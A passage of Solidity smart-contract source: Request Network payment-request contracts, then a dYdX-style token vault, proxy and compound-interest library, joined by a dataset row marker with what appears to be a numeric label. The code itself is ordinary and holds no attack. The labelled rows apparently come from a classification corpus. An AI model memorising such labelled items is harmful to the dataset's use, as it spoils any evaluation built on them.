r.payee.balance = r.payee.balance.add(_deltaAmount);
} else {
Payee storage sp = subPayees[_requestId][_payeeIndex-1];
sp.balance = sp.balance.add(_deltaAmount);
}
emit UpdateBalance(_requestId, _payeeIndex, _deltaAmount);
}
function updateExpectedAmount(bytes32 _requestId, uint8 _payeeIndex, int256 _deltaAmount)
external
{
Request storage r = requests[_requestId];
require(r.currencyContract == msg.sender, "caller should be the currency contract of the request");
if ( _payeeIndex == 0 ) {
r.payee.expectedAmount = r.payee.expectedAmount.add(_deltaAmount);
} else {
Payee storage sp = subPayees[_requestId][_payeeIndex-1];
sp.expectedAmount = sp.expectedAmount.add(_deltaAmount);
}
emit UpdateExpectedAmount(_requestId, _payeeIndex, _deltaAmount);
}
function getRequest(bytes32 _requestId)
external
view
returns(address payer, address currencyContract, State state, address payeeAddr, int256 payeeExpectedAmount, int256 payeeBalance)
{
Request storage r = requests[_requestId];
return (
r.payer,
r.currencyContract,
r.state,
r.payee.addr,
r.payee.expectedAmount,
r.payee.balance
);
}
function getPayeeAddress(bytes32 _requestId, uint8 _payeeIndex)
public
view
returns(address)
{
if (_payeeIndex == 0) {
return requests[_requestId].payee.addr;
} else {
return subPayees[_requestId][_payeeIndex-1].addr;
}
}
function getPayer(bytes32 _requestId)
public
view
returns(address)
{
return requests[_requestId].payer;
}
function getPayeeExpectedAmount(bytes32 _requestId, uint8 _payeeIndex)
public
view
returns(int256)
{
if (_payeeIndex == 0) {
return requests[_requestId].payee.expectedAmount;
} else {
return subPayees[_requestId][_payeeIndex-1].expectedAmount;
}
}
function getSubPayeesCount(bytes32 _requestId)
public
view
returns(uint8)
{
for (uint8 i = 0; subPayees[_requestId][i].addr != address(0); i = i.add(1)) {}
return i;
}
function getCurrencyContract(bytes32 _requestId)
public
view
returns(address)
{
return requests[_requestId].currencyContract;
}
function getPayeeBalance(bytes32 _requestId, uint8 _payeeIndex)
public
view
returns(int256)
{
if (_payeeIndex == 0) {
return requests[_requestId].payee.balance;
} else {
return subPayees[_requestId][_payeeIndex-1].balance;
}
}
function getBalance(bytes32 _requestId)
public
view
returns(int256)
{
int256 balance = requests[_requestId].payee.balance;
for (uint8 i = 0; subPayees[_requestId][i].addr != address(0); i = i.add(1)) {
balance = balance.add(subPayees[_requestId][i].balance);
}
return balance;
}
function areAllBalanceNull(bytes32 _requestId)
public
view
returns(bool isNull)
{
isNull = requests[_requestId].payee.balance == 0;
for (uint8 i = 0; isNull && subPayees[_requestId][i].addr != address(0); i = i.add(1)) {
isNull = subPayees[_requestId][i].balance == 0;
}
return isNull;
}
function getExpectedAmount(bytes32 _requestId)
public
view
returns(int256)
{
int256 expectedAmount = requests[_requestId].payee.expectedAmount;
for (uint8 i = 0; subPayees[_requestId][i].addr != address(0); i = i.add(1)) {
expectedAmount = expectedAmount.add(subPayees[_requestId][i].expectedAmount);
}
return expectedAmount;
}
function getState(bytes32 _requestId)
public
view
returns(State)
{
return requests[_requestId].state;
}
function getPayeeIndex(bytes32 _requestId, address _address)
public
view
returns(int16)
{
if (requests[_requestId].payee.addr == _address) {
return 0;
}
for (uint8 i = 0; subPayees[_requestId][i].addr != address(0); i = i.add(1)) {
if (subPayees[_requestId][i].addr == _address) {
return i+1;
}
}
return -1;
}
function extractBytes32(bytes _data, uint offset)
public
pure
returns (bytes32 bs)
{
require(offset >= 0 && offset + 32 <= _data.length, "offset value should be in the correct range");
assembly {
bs := mload(add(_data, add(32, offset)))
}
}
function emergencyERC20Drain(ERC20 token, uint amount )
public
onlyOwner
{
token.transfer(owner, amount);
}
function extractAddress(bytes _data, uint offset)
internal
pure
returns (address m)
{
require(offset >= 0 && offset + 20 <= _data.length, "offset value should be in the correct range");
assembly {
m := and( mload(add(_data, add(20, offset))),
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
}
}
function initSubPayees(bytes32 _requestId, address[] _payees, int256[] _expectedAmounts)
internal
{
require(_payees.length == _expectedAmounts.length, "payee length should equal expected amount length");
for (uint8 i = 1; i < _payees.length; i = i.add(1)) {
require(_payees[i] != 0, "payee should not be 0");
subPayees[_requestId][i-1] = Payee(_payees[i], _expectedAmounts[i], 0);
emit NewSubPayee(_requestId, _payees[i]);
}
}
function extractString(bytes data, uint8 size, uint _offset)
internal
pure
returns (string)
{
bytes memory bytesString = new bytes(size);
for (uint j = 0; j < size; j++) {
bytesString[j] = data[_offset+j];
}
return string(bytesString);
}
function generateRequestId()
internal
returns (bytes32)
{
numRequests = numRequests.add(1);
return bytes32((uint256(this) << 96).add(numRequests));
}
}
contract CurrencyContract is Pausable, FeeCollector {
using SafeMath for uint256;
using SafeMathInt for int256;
using SafeMathUint8 for uint8;
RequestCore public requestCore;
constructor(address _requestCoreAddress, address _addressBurner)
FeeCollector(_addressBurner)
public
{
requestCore = RequestCore(_requestCoreAddress);
}
function acceptAction(bytes32 _requestId)
public
whenNotPaused
onlyRequestPayer(_requestId)
{
require(requestCore.getState(_requestId) == RequestCore.State.Created, "request should be created");
requestCore.accept(_requestId);
}
function cancelAction(bytes32 _requestId)
public
whenNotPaused
{
require(
(requestCore.getPayer(_requestId) == msg.sender && requestCore.getState(_requestId) == RequestCore.State.Created) ||
(requestCore.getPayeeAddress(_requestId,0) == msg.sender && requestCore.getState(_requestId) != RequestCore.State.Canceled),
"payer should cancel a newly created request, or payee should cancel a not cancel request"
);
require(requestCore.areAllBalanceNull(_requestId), "all balanaces should be = 0 to cancel");
requestCore.cancel(_requestId);
}
function additionalAction(bytes32 _requestId, uint256[] _additionalAmounts)
public
whenNotPaused
onlyRequestPayer(_requestId)
{
require(requestCore.getState(_requestId) != RequestCore.State.Canceled, "request should not be canceled");
require(
_additionalAmounts.length <= requestCore.getSubPayeesCount(_requestId).add(1),
"number of amounts should be <= number of payees"
);
for (uint8 i = 0; i < _additionalAmounts.length; i = i.add(1)) {
if (_additionalAmounts[i] != 0) {
requestCore.updateExpectedAmount(_requestId, i, _additionalAmounts[i].toInt256Safe());
}
}
}
function subtractAction(bytes32 _requestId, uint256[] _subtractAmounts)
public
whenNotPaused
onlyRequestPayee(_requestId)
{
require(requestCore.getState(_requestId) != RequestCore.State.Canceled, "request should not be canceled");
require(
_subtractAmounts.length <= requestCore.getSubPayeesCount(_requestId).add(1),
"number of amounts should be <= number of payees"
);
for (uint8 i = 0; i < _subtractAmounts.length; i = i.add(1)) {
if (_subtractAmounts[i] != 0) {
require(
requestCore.getPayeeExpectedAmount(_requestId,i) >= _subtractAmounts[i].toInt256Safe(),
"subtract should equal or be lower than amount expected"
);
requestCore.updateExpectedAmount(_requestId, i, -_subtractAmounts[i].toInt256Safe());
}
}
}
function createCoreRequestInternal(
address _payer,
address[] _payeesIdAddress,
int256[] _expectedAmounts,
string _data)
internal
whenNotPaused
returns(bytes32 requestId, uint256 collectedFees)
{
int256 totalExpectedAmounts = 0;
for (uint8 i = 0; i < _expectedAmounts.length; i = i.add(1)) {
require(_expectedAmounts[i] >= 0, "expected amounts should be positive");
totalExpectedAmounts = totalExpectedAmounts.add(_expectedAmounts[i]);
}
requestId = requestCore.createRequest(
msg.sender,
_payeesIdAddress,
_expectedAmounts,
_payer,
_data
);
collectedFees = collectEstimation(totalExpectedAmounts);
collectForREQBurning(collectedFees);
}
modifier onlyRequestPayee(bytes32 _requestId)
{
require(requestCore.getPayeeAddress(_requestId, 0) == msg.sender, "only the payee should do this action");
_;
}
modifier onlyRequestPayer(bytes32 _requestId)
{
require(requestCore.getPayer(_requestId) == msg.sender, "only the payer should do this action");
_;
}
}
contract RequestBitcoinNodesValidation is CurrencyContract {
using SafeMath for uint256;
using SafeMathInt for int256;
using SafeMathUint8 for uint8;
mapping(bytes32 => string[256]) public payeesPaymentAddress;
mapping(bytes32 => string[256]) public payerRefundAddress;
event RefundAddressAdded(bytes32 indexed requestId);
constructor (address _requestCoreAddress, address _requestBurnerAddress)
CurrencyContract(_requestCoreAddress, _requestBurnerAddress)
public
{
}
function createRequestAsPayeeAction(
address[] _payeesIdAddress,
bytes _payeesPaymentAddress,
int256[] _expectedAmounts,
address _payer,
bytes _payerRefundAddress,
string _data)
external
payable
whenNotPaused
returns(bytes32 requestId)
{
require(
msg.sender == _payeesIdAddress[0] && msg.sender != _payer && _payer != 0,
"caller should be the payee"
);
uint256 collectedFees;
(requestId, collectedFees) = createCoreRequestInternal(
_payer,
_payeesIdAddress,
_expectedAmounts,
_data
);
require(collectedFees == msg.value, "fees should be the correct amout");
extractAndStoreBitcoinAddresses(
requestId,
_payeesIdAddress.length,
_payeesPaymentAddress,
_payerRefundAddress
);
return requestId;
}
function broadcastSignedRequestAsPayerAction(
bytes _requestData,
bytes _payeesPaymentAddress,
bytes _payerRefundAddress,
uint256[] _additionals,
uint256 _expirationDate,
bytes _signature)
external
payable
whenNotPaused
returns(bytes32 requestId)
{
require(_expirationDate >= block.timestamp, "expiration should be after current time");
require(
Signature.checkBtcRequestSignature(
_requestData,
_payeesPaymentAddress,
_expirationDate,
_signature
),
"signature should be correct"
);
return createAcceptAndAdditionalsFromBytes(
_requestData,
_payeesPaymentAddress,
_payerRefundAddress,
_additionals
);
}
function addPayerRefundAddressAction(
bytes32 _requestId,
bytes _payerRefundAddress)
external
whenNotPaused
onlyRequestPayer(_requestId)
{
uint8 payeesCount = requestCore.getSubPayeesCount(_requestId).add(1);
uint256 cursor = 0;
uint8 sizeCurrentBitcoinAddress;
uint8 j;
for (j = 0; j < payeesCount; j = j.add(1)) {
require(bytes(payerRefundAddress[_requestId][cursor]).length == 0, "payer refund address must not be already given");
sizeCurrentBitcoinAddress = uint8(_payerRefundAddress[cursor]);
payerRefundAddress[_requestId][j] = Bytes.extractString(_payerRefundAddress, sizeCurrentBitcoinAddress, ++cursor);
cursor += sizeCurrentBitcoinAddress;
}
emit RefundAddressAdded(_requestId);
}
function extractAndStoreBitcoinAddresses(
bytes32 _requestId,
uint256 _payeesCount,
bytes _payeesPaymentAddress,
bytes _payerRefundAddress)
internal
{
uint256 cursor = 0;
uint8 sizeCurrentBitcoinAddress;
uint8 j;
for (j = 0; j < _payeesCount; j = j.add(1)) {
sizeCurrentBitcoinAddress = uint8(_payeesPaymentAddress[cursor]);
payeesPaymentAddress[_requestId][j] = Bytes.extractString(_payeesPaymentAddress, sizeCurrentBitcoinAddress, ++cursor);
cursor += sizeCurrentBitcoinAddress;
}
if (_payerRefundAddress.length != 0) {
cursor = 0;
for (j = 0; j < _payeesCount; j = j.add(1)) {
sizeCurrentBitcoinAddress = uint8(_payerRefundAddress[cursor]);
payerRefundAddress[_requestId][j] = Bytes.extractString(_payerRefundAddress, sizeCurrentBitcoinAddress, ++cursor);
cursor += sizeCurrentBitcoinAddress;
}
}
}
function createAcceptAndAdditionalsFromBytes(
bytes _requestData,
bytes _payeesPaymentAddress,
bytes _payerRefundAddress,
uint256[] _additionals)
internal
returns(bytes32 requestId)
{
address mainPayee = Bytes.extractAddress(_requestData, 41);
require(msg.sender != mainPayee && mainPayee != 0, "caller should not be the main payee");
require(Bytes.extractAddress(_requestData, 0) == mainPayee, "creator should be the main payee");
uint8 payeesCount = uint8(_requestData[40]);
int256 totalExpectedAmounts = 0;
for (uint8 i = 0; i < payeesCount; i++) {
int256 expectedAmountTemp = int256(Bytes.extractBytes32(_requestData, uint256(i).mul(52).add(61)));
totalExpectedAmounts = totalExpectedAmounts.add(expectedAmountTemp);
require(expectedAmountTemp > 0, "expected amount should be > 0");
}
uint256 fees = collectEstimation(totalExpectedAmounts);
require(fees == msg.value, "fees should be the correct amout");
collectForREQBurning(fees);
Bytes.updateBytes20inBytes(_requestData, 20, bytes20(msg.sender));
requestId = requestCore.createRequestFromBytes(_requestData);
extractAndStoreBitcoinAddresses(
requestId,
payeesCount,
_payeesPaymentAddress,
_payerRefundAddress
);
acceptAndAdditionals(requestId, _additionals);
return requestId;
}
function acceptAndAdditionals(
bytes32 _requestId,
uint256[] _additionals)
internal
{
acceptAction(_requestId);
additionalAction(_requestId, _additionals);
}
} | 0 | 2,030 |
pragma solidity 0.4.24;
pragma experimental "v0.5.0";
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library Math {
function max64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a >= _b ? _a : _b;
}
function min64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a < _b ? _a : _b;
}
function max256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a >= _b ? _a : _b;
}
function min256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a < _b ? _a : _b;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract AccessControlledBase {
mapping (address => bool) public authorized;
event AccessGranted(
address who
);
event AccessRevoked(
address who
);
modifier requiresAuthorization() {
require(
authorized[msg.sender],
"AccessControlledBase#requiresAuthorization: Sender not authorized"
);
_;
}
}
contract StaticAccessControlled is AccessControlledBase, Ownable {
using SafeMath for uint256;
uint256 public GRACE_PERIOD_EXPIRATION;
constructor(
uint256 gracePeriod
)
public
Ownable()
{
GRACE_PERIOD_EXPIRATION = block.timestamp.add(gracePeriod);
}
function grantAccess(
address who
)
external
onlyOwner
{
require(
block.timestamp < GRACE_PERIOD_EXPIRATION,
"StaticAccessControlled#grantAccess: Cannot grant access after grace period"
);
emit AccessGranted(who);
authorized[who] = true;
}
}
interface GeneralERC20 {
function totalSupply(
)
external
view
returns (uint256);
function balanceOf(
address who
)
external
view
returns (uint256);
function allowance(
address owner,
address spender
)
external
view
returns (uint256);
function transfer(
address to,
uint256 value
)
external;
function transferFrom(
address from,
address to,
uint256 value
)
external;
function approve(
address spender,
uint256 value
)
external;
}
library TokenInteract {
function balanceOf(
address token,
address owner
)
internal
view
returns (uint256)
{
return GeneralERC20(token).balanceOf(owner);
}
function allowance(
address token,
address owner,
address spender
)
internal
view
returns (uint256)
{
return GeneralERC20(token).allowance(owner, spender);
}
function approve(
address token,
address spender,
uint256 amount
)
internal
{
GeneralERC20(token).approve(spender, amount);
require(
checkSuccess(),
"TokenInteract#approve: Approval failed"
);
}
function transfer(
address token,
address to,
uint256 amount
)
internal
{
address from = address(this);
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transfer(to, amount);
require(
checkSuccess(),
"TokenInteract#transfer: Transfer failed"
);
}
function transferFrom(
address token,
address from,
address to,
uint256 amount
)
internal
{
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transferFrom(from, to, amount);
require(
checkSuccess(),
"TokenInteract#transferFrom: TransferFrom failed"
);
}
function checkSuccess(
)
private
pure
returns (bool)
{
uint256 returnValue = 0;
assembly {
switch returndatasize
case 0x0 {
returnValue := 1
}
case 0x20 {
returndatacopy(0x0, 0x0, 0x20)
returnValue := mload(0x0)
}
default { }
}
return returnValue != 0;
}
}
contract TokenProxy is StaticAccessControlled {
using SafeMath for uint256;
constructor(
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{}
function transferTokens(
address token,
address from,
address to,
uint256 value
)
external
requiresAuthorization
{
TokenInteract.transferFrom(
token,
from,
to,
value
);
}
function available(
address who,
address token
)
external
view
returns (uint256)
{
return Math.min256(
TokenInteract.allowance(token, who, address(this)),
TokenInteract.balanceOf(token, who)
);
}
}
contract Vault is StaticAccessControlled
{
using SafeMath for uint256;
event ExcessTokensWithdrawn(
address indexed token,
address indexed to,
address caller
);
address public TOKEN_PROXY;
mapping (bytes32 => mapping (address => uint256)) public balances;
mapping (address => uint256) public totalBalances;
constructor(
address proxy,
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{
TOKEN_PROXY = proxy;
}
function withdrawExcessToken(
address token,
address to
)
external
onlyOwner
returns (uint256)
{
uint256 actualBalance = TokenInteract.balanceOf(token, address(this));
uint256 accountedBalance = totalBalances[token];
uint256 withdrawableBalance = actualBalance.sub(accountedBalance);
require(
withdrawableBalance != 0,
"Vault#withdrawExcessToken: Withdrawable token amount must be non-zero"
);
TokenInteract.transfer(token, to, withdrawableBalance);
emit ExcessTokensWithdrawn(token, to, msg.sender);
return withdrawableBalance;
}
function transferToVault(
bytes32 id,
address token,
address from,
uint256 amount
)
external
requiresAuthorization
{
TokenProxy(TOKEN_PROXY).transferTokens(
token,
from,
address(this),
amount
);
balances[id][token] = balances[id][token].add(amount);
totalBalances[token] = totalBalances[token].add(amount);
assert(totalBalances[token] >= balances[id][token]);
validateBalance(token);
}
function transferFromVault(
bytes32 id,
address token,
address to,
uint256 amount
)
external
requiresAuthorization
{
balances[id][token] = balances[id][token].sub(amount);
totalBalances[token] = totalBalances[token].sub(amount);
assert(totalBalances[token] >= balances[id][token]);
TokenInteract.transfer(token, to, amount);
validateBalance(token);
}
function validateBalance(
address token
)
private
view
{
assert(TokenInteract.balanceOf(token, address(this)) >= totalBalances[token]);
}
}
contract ReentrancyGuard {
uint256 private _guardCounter = 1;
modifier nonReentrant() {
uint256 localCounter = _guardCounter + 1;
_guardCounter = localCounter;
_;
require(
_guardCounter == localCounter,
"Reentrancy check failure"
);
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
library Fraction {
struct Fraction128 {
uint128 num;
uint128 den;
}
}
library FractionMath {
using SafeMath for uint256;
using SafeMath for uint128;
function add(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 left = a.num.mul(b.den);
uint256 right = b.num.mul(a.den);
uint256 denominator = a.den.mul(b.den);
if (left + right < left) {
left = left.div(2);
right = right.div(2);
denominator = denominator.div(2);
}
return bound(left.add(right), denominator);
}
function sub1Over(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.den % d == 0) {
return bound(
a.num.sub(a.den.div(d)),
a.den
);
}
return bound(
a.num.mul(d).sub(a.den),
a.den.mul(d)
);
}
function div(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.num % d == 0) {
return bound(
a.num.div(d),
a.den
);
}
return bound(
a.num,
a.den.mul(d)
);
}
function mul(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
return bound(
a.num.mul(b.num),
a.den.mul(b.den)
);
}
function bound(
uint256 num,
uint256 den
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 max = num > den ? num : den;
uint256 first128Bits = (max >> 128);
if (first128Bits != 0) {
first128Bits += 1;
num /= first128Bits;
den /= first128Bits;
}
assert(den != 0);
assert(den < 2**128);
assert(num < 2**128);
return Fraction.Fraction128({
num: uint128(num),
den: uint128(den)
});
}
function copy(
Fraction.Fraction128 memory a
)
internal
pure
returns (Fraction.Fraction128 memory)
{
validate(a);
return Fraction.Fraction128({ num: a.num, den: a.den });
}
function validate(
Fraction.Fraction128 memory a
)
private
pure
{
assert(a.den != 0);
}
}
library Exponent {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
uint128 constant public MAX_NUMERATOR = 340282366920938463463374607431768211455;
uint256 constant public MAX_PRECOMPUTE_PRECISION = 32;
uint256 constant public NUM_PRECOMPUTED_INTEGERS = 32;
function exp(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
require(
precomputePrecision <= MAX_PRECOMPUTE_PRECISION,
"Exponent#exp: Precompute precision over maximum"
);
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) {
return ONE();
}
uint256 integerX = uint256(Xcopy.num).div(Xcopy.den);
if (integerX == 0) {
return expHybrid(Xcopy, precomputePrecision, maclaurinPrecision);
}
Fraction.Fraction128 memory expOfInt =
getPrecomputedEToThe(integerX % NUM_PRECOMPUTED_INTEGERS);
while (integerX >= NUM_PRECOMPUTED_INTEGERS) {
expOfInt = expOfInt.mul(getPrecomputedEToThe(NUM_PRECOMPUTED_INTEGERS));
integerX -= NUM_PRECOMPUTED_INTEGERS;
}
Fraction.Fraction128 memory decimalX = Fraction.Fraction128({
num: Xcopy.num % Xcopy.den,
den: Xcopy.den
});
return expHybrid(decimalX, precomputePrecision, maclaurinPrecision).mul(expOfInt);
}
function expHybrid(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(precomputePrecision <= MAX_PRECOMPUTE_PRECISION);
assert(X.num < X.den);
Fraction.Fraction128 memory Xtemp = X.copy();
if (Xtemp.num == 0) {
return ONE();
}
Fraction.Fraction128 memory result = ONE();
uint256 d = 1;
for (uint256 i = 1; i <= precomputePrecision; i++) {
d *= 2;
if (d.mul(Xtemp.num) >= Xtemp.den) {
Xtemp = Xtemp.sub1Over(uint128(d));
result = result.mul(getPrecomputedEToTheHalfToThe(i));
}
}
return result.mul(expMaclaurin(Xtemp, maclaurinPrecision));
}
function expMaclaurin(
Fraction.Fraction128 memory X,
uint256 precision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) {
return ONE();
}
Fraction.Fraction128 memory result = ONE();
Fraction.Fraction128 memory Xtemp = ONE();
for (uint256 i = 1; i <= precision; i++) {
Xtemp = Xtemp.mul(Xcopy.div(uint128(i)));
result = result.add(Xtemp);
}
return result;
}
function getPrecomputedEToTheHalfToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= MAX_PRECOMPUTE_PRECISION);
uint128 denominator = [
125182886983370532117250726298150828301,
206391688497133195273760705512282642279,
265012173823417992016237332255925138361,
300298134811882980317033350418940119802,
319665700530617779809390163992561606014,
329812979126047300897653247035862915816,
335006777809430963166468914297166288162,
337634268532609249517744113622081347950,
338955731696479810470146282672867036734,
339618401537809365075354109784799900812,
339950222128463181389559457827561204959,
340116253979683015278260491021941090650,
340199300311581465057079429423749235412,
340240831081268226777032180141478221816,
340261598367316729254995498374473399540,
340271982485676106947851156443492415142,
340277174663693808406010255284800906112,
340279770782412691177936847400746725466,
340281068849199706686796915841848278311,
340281717884450116236033378667952410919,
340282042402539547492367191008339680733,
340282204661700319870089970029119685699,
340282285791309720262481214385569134454,
340282326356121674011576912006427792656,
340282346638529464274601981200276914173,
340282356779733812753265346086924801364,
340282361850336100329388676752133324799,
340282364385637272451648746721404212564,
340282365653287865596328444437856608255,
340282366287113163939555716675618384724,
340282366604025813553891209601455838559,
340282366762482138471739420386372790954,
340282366841710300958333641874363209044
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
function getPrecomputedEToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= NUM_PRECOMPUTED_INTEGERS);
uint128 denominator = [
340282366920938463463374607431768211455,
125182886983370532117250726298150828301,
46052210507670172419625860892627118820,
16941661466271327126146327822211253888,
6232488952727653950957829210887653621,
2292804553036637136093891217529878878,
843475657686456657683449904934172134,
310297353591408453462393329342695980,
114152017036184782947077973323212575,
41994180235864621538772677139808695,
15448795557622704876497742989562086,
5683294276510101335127414470015662,
2090767122455392675095471286328463,
769150240628514374138961856925097,
282954560699298259527814398449860,
104093165666968799599694528310221,
38293735615330848145349245349513,
14087478058534870382224480725096,
5182493555688763339001418388912,
1906532833141383353974257736699,
701374233231058797338605168652,
258021160973090761055471434334,
94920680509187392077350434438,
34919366901332874995585576427,
12846117181722897538509298435,
4725822410035083116489797150,
1738532907279185132707372378,
639570514388029575350057932,
235284843422800231081973821,
86556456714490055457751527,
31842340925906738090071268,
11714142585413118080082437,
4309392228124372433711936
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
function ONE()
private
pure
returns (Fraction.Fraction128 memory)
{
return Fraction.Fraction128({ num: 1, den: 1 });
}
}
library MathHelpers {
using SafeMath for uint256;
function getPartialAmount(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return numerator.mul(target).div(denominator);
}
function getPartialAmountRoundedUp(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return divisionRoundedUp(numerator.mul(target), denominator);
}
function divisionRoundedUp(
uint256 numerator,
uint256 denominator
)
internal
pure
returns (uint256)
{
assert(denominator != 0);
if (numerator == 0) {
return 0;
}
return numerator.sub(1).div(denominator).add(1);
}
function maxUint256(
)
internal
pure
returns (uint256)
{
return 2 ** 256 - 1;
}
function maxUint32(
)
internal
pure
returns (uint32)
{
return 2 ** 32 - 1;
}
function getNumBits(
uint256 n
)
internal
pure
returns (uint256)
{
uint256 first = 0;
uint256 last = 256;
while (first < last) {
uint256 check = (first + last) / 2;
if ((n >> check) == 0) {
last = check;
} else {
first = check + 1;
}
}
assert(first <= 256);
return first;
}
}
library InterestImpl {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
uint256 constant DEFAULT_PRECOMPUTE_PRECISION = 11;
uint256 constant DEFAULT_MACLAURIN_PRECISION = 5;
uint256 constant MAXIMUM_EXPONENT = 80;
uint128 constant E_TO_MAXIUMUM_EXPONENT = 55406223843935100525711733958316613;
function getCompoundedInterest(
uint256 principal,
uint256 interestRate,
uint256 secondsOfInterest
)
public
pure
returns (uint256)
{
uint256 numerator = interestRate.mul(secondsOfInterest);
uint128 denominator = (10**8) * (365 * 1 days);
assert(numerator < 2**128);
Fraction.Fraction128 memory rt = Fraction.Fraction128({
num: uint128(numerator),
den: denominator
});
Fraction.Fraction128 memory eToRT;
if (numerator.div(denominator) >= MAXIMUM_EXPONENT) {
eToRT = Fraction.Fraction128({
num: E_TO_MAXIUMUM_EXPONENT,
den: 1
});
} else {
eToRT = Exponent.exp(
rt,
DEFAULT_PRECOMPUTE_PRECISION,
DEFAULT_MACLAURIN_PRECISION
);
}
assert(eToRT.num >= eToRT.den);
return safeMultiplyUint256ByFraction(principal, eToRT);
}
function safeMultiplyUint256ByFraction(
uint256 n,
Fraction.Fraction128 memory f
)
private
pure
returns (uint256)
{
uint256 term1 = n.div(2 ** 128);
uint256 term2 = n % (2 ** 128);
if (term1 > 0) {
term1 = term1.mul(f.num);
uint256 numBits = MathHelpers.getNumBits(term1);
term1 = MathHelpers.divisionRoundedUp(
term1 << (uint256(256).sub(numBits)),
f.den);
if (numBits > 128) {
term1 = term1 << (numBits.sub(128));
} else if (numBits < 128) {
